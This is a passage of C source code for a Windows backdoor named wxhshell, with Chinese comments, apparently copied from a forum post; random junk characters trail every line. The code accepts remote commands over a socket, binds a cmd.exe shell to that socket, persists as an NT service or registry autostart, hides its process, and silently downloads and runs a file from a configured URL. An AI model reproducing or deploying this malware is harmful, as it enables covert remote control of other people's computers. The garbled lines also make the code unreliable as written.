  |9c~kTjK  
  // 帮助 #H>{>0q  
  case '?': { bP 9ly9FH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @3O)#r}\  
    break; `!HD. E[2c  
  } "Nj/{BU  
  // 安装 4r1\&sI$~  
  case 'i': { D @*<O=_D(  
    if(Install()) f;zNNx< ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m3lz#Pm'0  
    else !sm/BsmL7T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !V37ePFje  
    break; FHSoj=  
    } :Tg+)cZ  
  // 卸载 67& hXIp  
  case 'r': { &S*~EM.l8  
    if(Uninstall()) ,=m.WmXE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jd>~gA}l  
    else s51$x M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $El-pMq  
    break; 5h#h>0F  
    } .w.:o2L  
  // 显示 wxhshell 所在路径 LJ(WU)CPc  
  case 'p': { e}e8WR=B  
    char svExeFile[MAX_PATH]; ns8s2kYcm  
    strcpy(svExeFile,"\n\r"); x 6`!  
      strcat(svExeFile,ExeFile); "+"=iwEAz  
        send(wsh,svExeFile,strlen(svExeFile),0); ' {,xQf*x  
    break; cj8cV|8@  
    } m,E$KHt (  
  // 重启 +JU , ^A#X  
  case 'b': { Lqj Qv$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U4pIRa)S  
    if(Boot(REBOOT)) !SQcV'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9RaO[j`  
    else { (G>[A}-  
    closesocket(wsh); ;[sW\Ou  
    ExitThread(0); { :tO RF  
    } J/?Nf2L4  
    break; // o.+?S  
    } LSJ?;Zg(=z  
  // 关机 ;"wCBuXcu  
  case 'd': { i/ilG 3m>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _6ZjF>f  
    if(Boot(SHUTDOWN)) ~.m<`~u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3qK6Ah.  
    else { /9w>:i81  
    closesocket(wsh); H,!xTy"Wh  
    ExitThread(0); )#}>,,S  
    } RwWg:4   
    break; =^nb+}Nz(  
    } _95296  
  // 获取shell dw bR,K  
  case 's': { Q6@<7E]y  
    CmdShell(wsh); ^"/^)Lb!@M  
    closesocket(wsh); &N|$G8\CY  
    ExitThread(0); Ic#xz;elM  
    break; JQ&t"`\k  
  } 2d ! '9mA  
  // 退出 *x"80UXL  
  case 'x': { T pkSY`T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 86r5!@WN  
    CloseIt(wsh); KQdIG9O+6  
    break; <$(B[T  
    } ^/2I)y]W0  
  // 离开 /8cRPB.  
  case 'q': { |7s2xRc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bmfM_oz  
    closesocket(wsh); V8?}I)#(7  
    WSACleanup(); K9lgDk"i  
    exit(1); 'YNaLZ20  
    break; I &t~o  
        } Eah6"j!B8n  
  } OU[<\d  
  } *U?O4E9  
NB"S ,\M0  
  // 提示信息 S\ k<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e3?=1ZB  
} :]^e-p!z  
  } ~&?bU]F  
x*Lt]]A  
  return; ff"wg\O4  
} %@/^UE:  
'$K E= Jy  
// shell模块句柄 jVj5; }  
int CmdShell(SOCKET sock) XIeLu"TSL  
{ ~Iu!B Y  
STARTUPINFO si; z$32rt8{`v  
ZeroMemory(&si,sizeof(si)); 1o_kY"D<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z^gJy,T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kN1MPd4Yh  
PROCESS_INFORMATION ProcessInfo; H",B[ YK  
char cmdline[]="cmd"; N%y i4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )*,/L <  
  return 0; C$3*[  
} (C2 XFg_  
g*| j+<:7  
// 自身启动模式 `2~>$Tr  
int StartFromService(void) H"P b)t  
{ OG,P"sv  
typedef struct !d* [QD8  
{ Nkdv'e\  
  DWORD ExitStatus; ^rkKE dd  
  DWORD PebBaseAddress; pMc6p0  
  DWORD AffinityMask; z3fv}_\z  
  DWORD BasePriority; P:qmg"i@3  
  ULONG UniqueProcessId; &K)8  
  ULONG InheritedFromUniqueProcessId; )&DAbB!O  
}   PROCESS_BASIC_INFORMATION; =lXj%V^8N  
"q4tvcK.  
PROCNTQSIP NtQueryInformationProcess; B{-7  
D7ex{SVA)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # kI>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R#(0C(FI^  
F /b`[  
  HANDLE             hProcess; X>%nzY]m  
  PROCESS_BASIC_INFORMATION pbi; 3P>gDQP  
7\u+%i;YZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zd?@xno  
  if(NULL == hInst ) return 0; J( }2Ua_  
@u3`lhUcT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6Z/`p~e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;`9f<d#\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1C[9}}  
y!e]bvN  
  if (!NtQueryInformationProcess) return 0; <G"cgN#]  
bRC243]g*A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #%"q0"  
  if(!hProcess) return 0; 4 p_C+4  
MatXhP] Fi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (iIw }f)w  
&{iC:zp  
  CloseHandle(hProcess); r@r%qkh(.@  
0r]n 0?x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GnV0~?  
if(hProcess==NULL) return 0; <?jd NM  
93-Y(Xx)bY  
HMODULE hMod; ~m%[d. }e  
char procName[255]; yev!Nw  
unsigned long cbNeeded; Vla,avON  
X/]@EF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C2LPLquD+  
~PQ.l\C  
  CloseHandle(hProcess);  K +7  
H/8^Fvd  
if(strstr(procName,"services")) return 1; // 以服务启动 ]5W$EvZ9)  
?M2(8 0  
  return 0; // 注册表启动 ;#B(L=/  
} )cf i@-J+#  
myx/|-V"F  
// 主模块 #kg`rrF r  
int StartWxhshell(LPSTR lpCmdLine) _iwG'a[`  
{ 4" @<bKx  
  SOCKET wsl; [^>XR BSm  
BOOL val=TRUE; a"~o'W7  
  int port=0; B`tq*T%  
  struct sockaddr_in door; y48]|%73  
T&U}}iWN  
  if(wscfg.ws_autoins) Install(); eK8H5YE  
e~h>b.~  
port=atoi(lpCmdLine); )W@u g,y  
6|97;@94  
if(port<=0) port=wscfg.ws_port; pMF vL  
#mH@ /6,#[  
  WSADATA data; :,BAw ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5Iu5N0cn  
B6XO&I1c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | %_C$s%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zVhyAf  
  door.sin_family = AF_INET; M 8^ID #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3CUQQ_  
  door.sin_port = htons(port); I-v} DuM  
I?KN7(9u?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~W'DEpq_  
closesocket(wsl); P \7DA4]  
return 1; Z0|5VLk,<{  
} pP\Cwo #,  
!3Dq)ebBz  
  if(listen(wsl,2) == INVALID_SOCKET) { 5zuwqOD*  
closesocket(wsl); sYTz6-  
return 1; lR(9;3  
} C*`WMP*  
  Wxhshell(wsl); l,ny=Q$[1'  
  WSACleanup(); tzI|vVT,  
,n|si#  
return 0; <y 4(!z"  
`RTxc  
} @uSO~. 7  
Jcw^Z,  
// 以NT服务方式启动 |jsI-?%8J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ktu?-?#0,  
{ RK# 6JfC3X  
DWORD   status = 0; YMGy-]!o  
  DWORD   specificError = 0xfffffff; X<ex >sM  
;W|kc</R*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wG3L+[,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .=y=Fv6X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xBHf~:!  
  serviceStatus.dwWin32ExitCode     = 0; PZ[-a-p40  
  serviceStatus.dwServiceSpecificExitCode = 0; xL* psj  
  serviceStatus.dwCheckPoint       = 0; b[%@3}E  
  serviceStatus.dwWaitHint       = 0; ZlV  
e8,_"_1 :F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "tEp8m  
  if (hServiceStatusHandle==0) return; 1N5 E  
wl=tN{R  
status = GetLastError(); NP>v @jO  
  if (status!=NO_ERROR) SH*'<  
{ ^Z (cV g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /E>;O47a  
    serviceStatus.dwCheckPoint       = 0; f5}afPk  
    serviceStatus.dwWaitHint       = 0; Gz`Jzh j  
    serviceStatus.dwWin32ExitCode     = status; X)g X9DA  
    serviceStatus.dwServiceSpecificExitCode = specificError; cIug~ x>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I=`?4%  
    return; g&RpE41x  
  } "2e3 <:$  
Q\oa<R D5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~z^l~Vyg?  
  serviceStatus.dwCheckPoint       = 0; |N,^*xP(6  
  serviceStatus.dwWaitHint       = 0; 4+olyBht  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0'&C5v'  
} *h^->+0n  
lM-\:Q!  
// 处理NT服务事件,比如:启动、停止 cGot0' mB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) deVd87;@7[  
{ 88Pt"[{1  
switch(fdwControl) hV3]1E21"  
{ ]4rmQAS7"  
case SERVICE_CONTROL_STOP: Q`CuZkP(  
  serviceStatus.dwWin32ExitCode = 0; 3G// _f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e\)%<G5  
  serviceStatus.dwCheckPoint   = 0; @6UY4vq9  
  serviceStatus.dwWaitHint     = 0; hB?#b`i^  
  { ;NP-tA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <I,4Kc!  
  } %Tp9G Gt  
  return; #rHMf%0  
case SERVICE_CONTROL_PAUSE: OPvPP>0*8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A-x^JC=  
  break; mF gqM:  
case SERVICE_CONTROL_CONTINUE: dJ"44Wu+J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,7nu;fOT[  
  break; (nqhX<T>  
case SERVICE_CONTROL_INTERROGATE: jMT[+f  
  break; r$<!?Z  
}; -J]?M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %6ckau1_;  
} }3 /io0"D  
J~x]~}V&  
// 标准应用程序主函数 t!D'ZLw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?!ap @)9  
{ Ust +g4  
/.:1Da  
// 获取操作系统版本 !&%KJS6p4  
OsIsNt=GetOsVer(); sBlq)h;G?6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % :G78.  
lU 9o"2  
  // 从命令行安装 hu-]SGb6  
  if(strpbrk(lpCmdLine,"iI")) Install(); M:O*_>KF  
#jbC@A9Pe  
  // 下载执行文件 x. t< @y~  
if(wscfg.ws_downexe) { ~'*23]j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gd[muR ~  
  WinExec(wscfg.ws_filenam,SW_HIDE); hn.(pI1  
} m.P F'_)/  
[,bJKz)a  
if(!OsIsNt) { mI2Gs) SO  
// 如果时win9x,隐藏进程并且设置为注册表启动 Eq@sU?j  
HideProc(); R14&V1 tZ  
StartWxhshell(lpCmdLine); >MJ %6A>  
} Gn7\4,C  
else mq{Z Q'  
  if(StartFromService()) )t~ad]oM  
  // 以服务方式启动 nA Nl9;G  
  StartServiceCtrlDispatcher(DispatchTable); 4=MVn  
else '4{@F~fu  
  // 普通方式启动 3SM'vV0[  
  StartWxhshell(lpCmdLine); A._CCou  
xK8m\=#  
return 0; +R?E @S  
}
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只看该作者 1 发表于: 2006-10-10
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